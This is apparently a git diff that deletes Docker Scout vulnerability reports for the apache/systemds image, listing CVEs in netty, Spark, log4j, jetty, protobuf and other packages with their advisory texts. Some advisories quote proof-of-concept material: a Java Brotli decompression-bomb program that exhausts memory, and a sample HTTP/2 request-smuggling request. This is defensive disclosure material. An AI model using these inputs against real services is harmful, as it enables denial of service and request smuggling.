- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) - -pkg:maven/org.apache.commons/commons-lang3@3.12.0
-medium 6.5: CVE--2025--48924 Uncontrolled Recursion - - - - - - - - -
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
- -
Description -
- -Uncontrolled Recursion vulnerability in Apache Commons Lang. - -This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. - -The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. - -Users are recommended to upgrade to version 3.18.0, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
-medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
- -Information disclosure in persistent watchers handling in Apache ZooKeeper due to missing ACL check. It allows an attacker to monitor child znodes by attaching a persistent watcher (addWatch command) to a parent which the attacker has already access to. ZooKeeper server doesn't do ACL check when the persistent watcher is triggered and as a consequence, the full path of znodes that a watch event gets triggered upon is exposed to the owner of the watcher. It's important to note that only the path is exposed by this vulnerability, not the data of znode, but since znode path can contain sensitive information like user name or login ID, this issue is potentially critical. - -Users are recommended to upgrade to version 3.9.2, 3.8.4 which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.eclipse.jetty/jetty-xml 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-xml@9.4.51.v20230217
-low 3.9: GHSA--58qw--p7qm--5rvh Improper Restriction of XML External Entity Reference - - - - - - -
Affected range<=9.4.51
Fixed version9.4.52.v20230823
CVSS Score3.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L
- -
Description -
- -### From the reporter - -> `XmlParser` is vulnerable to XML external entity (XXE) vulnerability. -> XmlParser is being used when parsing Jetty’s xml configuration files. An attacker might exploit -> this vulnerability in order to achieve SSRF or cause a denial of service. -> One possible scenario is importing a (remote) malicious WAR into a Jetty’s server, while the -> WAR includes a malicious web.xml. - -### Impact -There are no circumstances in a normally deployed Jetty server where potentially hostile XML is given to the XmlParser class without the attacker already having arbitrary access to the server. I.e. in order to exploit `XmlParser` the attacker would already have the ability to deploy and execute hostile code. Specifically, Jetty has no protection against malicious web application and potentially hostile web applications should only be run on an isolated virtualisation. - -Thus this is not considered a vulnerability of the Jetty server itself, as any such usage of the jetty XmlParser is equally vulnerable as a direct usage of the JVM supplied SAX parser. No CVE will be allocated to this advisory. - -However, any direct usage of the `XmlParser` class by an application may be vulnerable. The impact would greatly depend on how the application uses `XmlParser`, but it could be a denial of service due to large entity expansion, or possibly the revealing local files if the XML results are accessible remotely. - -### Patches -Ability to configure the SAXParserFactory to fit the needs of your particular XML parser implementation have been merged as part of PR #10067 - -### Workarounds -Don't use `XmlParser` to parse data from users. - - - - -
-
-
-
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) - -pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
-low 2.0: CVE--2024--23454 Improper Privilege Management - - - - - - - - -
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
- -
Description -
- -Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. - -
-
-
-
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) - -pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
-unspecified : CVE--2025--62813 - - - - - - -
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
- -
Description -
- - - -
-
-
- diff --git a/docker/scout_results/multiple-high-CVEs/sysds_output7.md b/docker/scout_results/multiple-high-CVEs/sysds_output7.md deleted file mode 100644 index 086663df3f0..00000000000 --- a/docker/scout_results/multiple-high-CVEs/sysds_output7.md +++ /dev/null @@ -1,2599 +0,0 @@ -

:mag: Vulnerabilities of apache/systemds:latest

- -
:package: Image Reference apache/systemds:latest - - - - - -
digestsha256:1bfbe108b080a404c047387c4831a2ec4afbdf1d9a74fe459fa9de9c6f66cd08
vulnerabilitiescritical: 2 high: 18 medium: 39 low: 10 unspecified: 1
platformlinux/amd64
size382 MB
packages358
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) - -pkg:maven/io.netty/netty@3.10.6.Final
-critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." - -
-
- -high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. - -This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. - -### Impact - -All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. - -### References -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 - -
-
- -high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
- -
Description -
- -### Impact -The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). - - -All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack - -### Workarounds -No workarounds other than not using the `Bzip2Decoder` - -### References - -Relevant code areas: - -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 -https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 - -
-
- -medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.420%
EPSS Percentile61st percentile
- -
Description -
- -### Impact - -Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. - -Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. - - - -
-
- -medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.026%
EPSS Percentile7th percentile
- -
Description -
- -### Impact - -When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. - -The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) - -### Vulnerability Details - -On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. - -The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. - -This is the case in netty's `AbstractDiskHttpData` is vulnerable. - -https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 - -`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. - -You may be affected by this vulnerability your project contains the following code patterns: - -```java -channelPipeline.addLast(new HttpPostRequestDecoder(...)); -``` - -```java -channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); -``` - -### Patches - -This has been patched in version `4.1.59.Final`. - -### Workarounds - -Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. - -### References - - - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) - - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) - -### Similar Vulnerabilities - -Similar, but not the same. - - - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp - - Google Guava - https://github.com/google/guava/issues/4011 - - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 - - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 - -### For more information -If you have any questions or comments about this advisory: -* Open an issue in [netty](https://github.com/netty/netty) -* Email us [here](mailto:netty-security@googlegroups.com) - -### Original Report - -> Hi Netty Security Team, -> -> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: -> https://lgtm.com/query/7723301787255288599/ -> -> Netty contains three local information disclosure vulnerabilities, so far as I can tell. -> -> One is here, where the private key for the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 -> -> One is here, where the certificate is written to a temporary file. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 -> -> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. -> -> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 -> -> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. -> -> Impacted OS: -> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. -> -> Mitigation. -> -> Moving to the `Files` API instead will fix this vulnerability. -> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- -> -> This API will explicitly set the posix file permissions to something safe, by default. -> -> I recently disclosed a similar vulnerability in JUnit 4: -> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp -> -> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. -> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 -> -> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. -> https://github.com/netty/netty/security/advisories -> -> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. -> -> Cheers, -> Jonathan Leitschuh - -
-
- -medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score2.547%
EPSS Percentile85th percentile
- -
Description -
- -### Impact -The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 - -This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. - -### Patches -This was fixed as part of 4.1.61.Final - -### Workarounds -Validation can be done by the user before proxy the request by validating the header. - -
-
- -medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
- -
Description -
- -### Impact -If a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. -If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling. - -In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked. - -An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like: - -``` -POST / HTTP/2 -:authority:: externaldomain.com -Content-Length: 4 - -asdfGET /evilRedirect HTTP/1.1 -Host: internaldomain.com -``` - -Users are only affected if all of this is `true`: - * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used - * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects - * These HTTP/1.1 objects are forwarded to another remote peer. - - -### Patches -This has been patched in 4.1.60.Final - -### Workarounds -The user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`. - -### References -Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980 - -
-
- -medium : CVE--2019--20445 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') - - - - - - -
Affected range<4.0.0
Fixed versionNot Fixed
EPSS Score2.837%
EPSS Percentile86th percentile
- -
Description -
- -HttpObjectDecoder.java in Netty before 4.1.44 allows a Content-Length header to be accompanied by a second Content-Length header, or by a Transfer-Encoding header. - -
-
-
-
critical: 1 high: 0 medium: 0 low: 0 zlib 1.3.1-r1 (apk) - -pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
-critical : CVE--2026--22184 - - - - - - -
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.109%
EPSS Percentile30th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 4 medium: 2 low: 0 com.google.protobuf/protobuf-java 3.7.1 (maven) - -pkg:maven/com.google.protobuf/protobuf-java@3.7.1
-high 8.7: CVE--2024--7254 Improper Input Validation - - - - - - - - -
Affected range<3.25.5
Fixed version3.25.5
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.085%
EPSS Percentile25th percentile
- -
Description -
- -### Summary -When parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash. - -Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team - -Affected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. - -### Severity -[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication) -This is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker. - -### Proof of Concept -For reproduction details, please refer to the unit tests (Protobuf Java 